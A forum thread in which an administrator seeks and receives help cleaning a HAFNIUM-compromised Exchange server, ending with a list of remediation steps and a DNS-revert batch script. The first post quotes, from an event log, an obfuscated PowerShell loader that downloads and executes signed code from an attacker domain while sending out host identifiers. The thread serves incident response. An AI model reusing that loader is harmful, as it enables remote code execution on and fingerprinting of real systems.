添加链接
link管理
链接快照平台
  • 输入网页链接,自动生成快照
  • 标签化管理网页链接

Hello,

I have an exchange server that has been compromised by HAFNIUM exploit. Ive run the available remediation tools offered by Microsoft, I have also run several AV scans and manually removed malicious registry based tasks, local malicious files, and malicious tasks present in the task scheduler GUI.

I have used windows firewall to block all inbound and outbound PowerShell communication (This was basically the first thing I did when I still had no idea what i was dealing with). This step seems to have interrupted at least part of the virus execution because it prevented my DNS servers from being switched to 8.8.8.8 and 9.9.9.9 every 45 minutes.

I wrote a script to monitor DNS and change it back to our local DNS servers if a change is detected. that script has not alerted to a DNS change since I implemented the local Windows firewall rule against PowerShell.

Antivirus scans detected and removed web shells but I am still concerned that there is a web shell running on this server because I am still seeing constant powershell event logs similar to this one:

Engine state is changed from Available to Stopped. 
Details: 
	NewEngineState=Stopped
	PreviousEngineState=Available
	SequenceNumber=15
	HostName=ConsoleHost
	HostVersion=4.0
	HostId=f429e655-ae61-4036-9cf5-fbe3d486d6e9
	HostApplication=powershell -w hidden -c function a($u){$d=(Ne`w-Obj`ect Net.WebC`lient).DownloadData($u);$c=$d.count;if($c -gt 173){$b=$d[173..$c];$p=New-Object Security.Cryptography.RSAParameters;$p.Modulus=[convert]::FromBase64String('2mWo17uXvG1BXpmdgv8v/3NTmnNubHtV62fWrk4jPFI9wM3NN2vzTzticIYHlm7K3r2mT/YR0WDciL818pLubLgum30r0Rkwc8ZSAc3nxzR4iqef4hLNeUCnkWqulY5C0M85bjDLCpjblz/2LpUQcv1j1feIY6R7rpfqOLdHa10=');$p.Exponent=0x01,0x00,0x01;$r=New-Object Security.Cryptography.RSACryptoServiceProvider;$r.ImportParameters($p);if($r.verifyData($b,(New-Object Security.Cryptography.SHA1CryptoServiceProvider),[convert]::FromBase64String(-join([char[]]$d[0..171])))){I`ex(-join[char[]]$b)}}}$url='http://'+'t.zke'+'r9.com';a($url+'/aa.jsp?preex_20210319?'+(@($env:COMPUTERNAME,$env:USERNAME,(get-wmiobject Win32_ComputerSystemProduct).UUID,(random))-join'*'))
	EngineVersion=4.0
	RunspaceId=06002fde-e415-43c8-bf0a-c940fdc7bb37
	PipelineId=
	CommandName=
	CommandType=
	ScriptName=
	CommandPath=
	CommandLine=

Later I intend to disconnect this server from the network to see if the powershell event logs stop. If they do, then that means this powershell command is being initiated remotely which is obviously a huge problem.

If the powershell events continue after being disconnected from the network then its obviously something local to the server itself which is still bad but better than the alternative.

I believe that HAFNIUM makes use of chinachopper web shell and advice ive read online suggests one way to locate it is with “findstr”, searching for some specific code in php or aspx files. Im running the firs search against php files now but its not done yet.

Anybody have any advice regarding what I can do to determine what is causing the powershell event logs in event viewer.

Exchange is being rebuilt but in the mean time I’d like to try to secure this existing server to the best of my ability.

Thanks for any adivce you can lend.

Contact your cyber insurance to get in touch with experts at remediation, or start working with another company qualified to do remediation and expelling of attackers. You have persistence, or attempted persistence in the network.

I would disconnect the server right now. You’ve been breached. You know it. Take Exchange offline.

This is a rough reason to get started with Spiceworks. Welcome to the community.

Until your new Exchange server is built, all traffic into and out of that server needs to be blocked. No internet access period. You can route mail in and out of it through your spam solution (hoping you have one), but it should have no access to the internet. While you can’t completely quarantine Exchange, you can certainly limit its attack surface by blocking it from all external traffic.
Agree with @kevinhsieh ​ that you should be in touch with some professionals, based on the fact that Hafnium was weaponized and used for ransomware. You need to assume that it is highly likely that the threat actors are no longer isolated to the Exchange server at this point. Make sure you have some isolated / offline backups that can’t be altered.

Agree with above on your exchange server, but concerned about lateral movement, user account compromise and other persistence mechanisms.

Not sure your current AV/detection capabilities but you may want to look into deploying:

EDR/XDR (Microsoft Defender E5, Crowdstrike, Sentinnel One, Palo Alto XDR, …) They should also be able to detect/remove webshells.

AD monitoring system like Microsoft ATP, Stealthbits, Qomplx for detection of AD attacks/compromised accounts.

If you have an incident response team come in they will likely deploy an EDR to figure out what systems on your network are compromised.

Also in regards to " You can route mail in and out of it through your spam solution (hoping you have one), but it should have no access to the internet. " from @jonahzona

If you have Mimecast / Proofpoint or other solution in your mailflow - you need to do an ACL to allow ONLY IPs and ports from PP/Mimecast to your Exchange server and block all other internet based traffic. This can be done on your firewall/NGFW.

https://help.proofpoint.com/Proofpoint_Essentials/Email_Security/Administrator_Topics/000_gettingstarted/020_connectiondetails

Vet these IPs could not find from Mimecast site - Excel Micro

Hi, and welcome to the Community!

I have seen and fixed precisely the same problem on one of our customer’s Exchange servers. It is a local Powershell-based exploit.

Use Task Manager - Details (show Command Line column) to find the location of all suspicious Powershell and CMD commands running. Locate the folders and nuke them. Download Sysinternals Autoruns Autoruns for Windows - Sysinternals | Microsoft Learn to purge all suspicious WMI and Registry entries. Run Malwarebytes to remove what’s left.

Download Autoruns from Windows Sysinternals and then delete the WMI entries.

Microsoft Autoruns

I had to clean up a small network that got hit with the Exchange exploit. I had everything good except the servers kept trying to reach 3-4 bad sites on what seemed to be a schedule. They are hidden in WMI runs.

All clear now!

NOTE: My bad that someone already answered this. I didn’t see that the first time I scrolled…

Thank you all for your input. Sorry for the long delay before providing an update.

First let me preface this by saying, the first three respondents are absolutely correct in their suggestions. This exchange server should have been taken offline immediately. I advocated for it but those decisions are above my pay grade. If you are an administrator who is compromised by malware, take the infected machines off the network immediately. Its the safe and responsible thing to do.

In an effort to avoid ever having to go through this, make sure your OS’s are patched frequently and your antivirus is strong, updated, running, and scanning on a scheduled frequent basis.

That all being said, the last two respondents were absolutely correct in there suggestion to use sysinternals AutoRuns to locate bad WMI entries. I had 4 entries with the exact same powershell code execution as seen in the powershell event logs from my first post. I removed these using AutoRuns and the powershell events immediately stopped and the exchange server stopped banging on the windows firewall.

Obviously a replacement for this machine is being rushed out the door.

Things that helped me:
Event Viewer > Application and Services Logs > Windows Powershell - Here you will see malicious powershell execution

Task manager - Here you may find questionable processes running, powershell or copies of powershell with the powershell icon but a random name.

Windows Firewall - Here I blocked powershell inbound and outbound traffic. This is a pretty heavy-handed and potentially impactful option but as an immediate stop-gap to prevent remote powershell from executing in to or out from the infected machine, it works. This is what stopped DNS from flipping from our internal DNS to 8.8.8.8 and 9.9.9.9 and generally upset the virus execution.

Anti-virus - Obvious, it finds malicious files and removes them or prevents them in the first place

Regedit - You’ll want to check thoroughly through the following key and sub-keys: HKLM\Software\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache

Sysinternals AutoRuns - Run as admin, check everything thoroughly especially WMI entries.

Exchange On-Premise Mitigation tool - This would be specific to this case , if you are dealing with another zero-day attack check for a similar mitigation tool release by MS: CSS-Exchange/Security at main · microsoft/CSS-Exchange · GitHub

If the system is having its DNS settings compromised you can use a simple script to monitor DNS and change it back immediately which may help in further upsetting virus execution:

@ECHO ON
:start
ipconfig /all | findstr "Servers" | findstr "8.8.8.8"
if %ERRORLEVEL% equ 0 (
msg %username% DNS HAS BEEN CHANGED TO 8.8.8.8/9.9.9.9 @ %date% %time%
netsh interface ipv4 set dns "Local Area Connection 3" static 192.168.0.100
netsh interface ipv4 add dnsservers "Local Area Connection 3" 192.168.0.101 index=2
msg %username% DNS HAS BEEN REVERTED TO 192.168.0.100/192.168.0.101 @ %date% %time%
ping -n 10 127.0.0.1
goto start

You’ll need to modify the “netsh” commands to reflect the name of your device’s network adapter and also set the desired IP of your primary and alternate DNS servers

If your dns is being modified to something other than “8.8.8.8” you’ll need to change the “findstr” command to monitor for that IP instead.

Im sure this script could be easily modified to send an email alert but because the infected server was our exchange, the change in DNS was breaking mail flow and the luxury of an email alert was not an option in our case.

Mcafee GetSusp - I’ve had good luck with this free tool in the past. A second full AV scan using a tool from a different vendor is always a good idea.

Thanks again to those who responded.

Regards,

spiceuser-6p0jh:

I removed these using AutoRuns and the powershell events immediately stopped and the exchange server stopped banging on the windows firewall.

Thank you for your detailed update and for sharing the DNS fixing batch script. Very glad to hear you have that one sorted.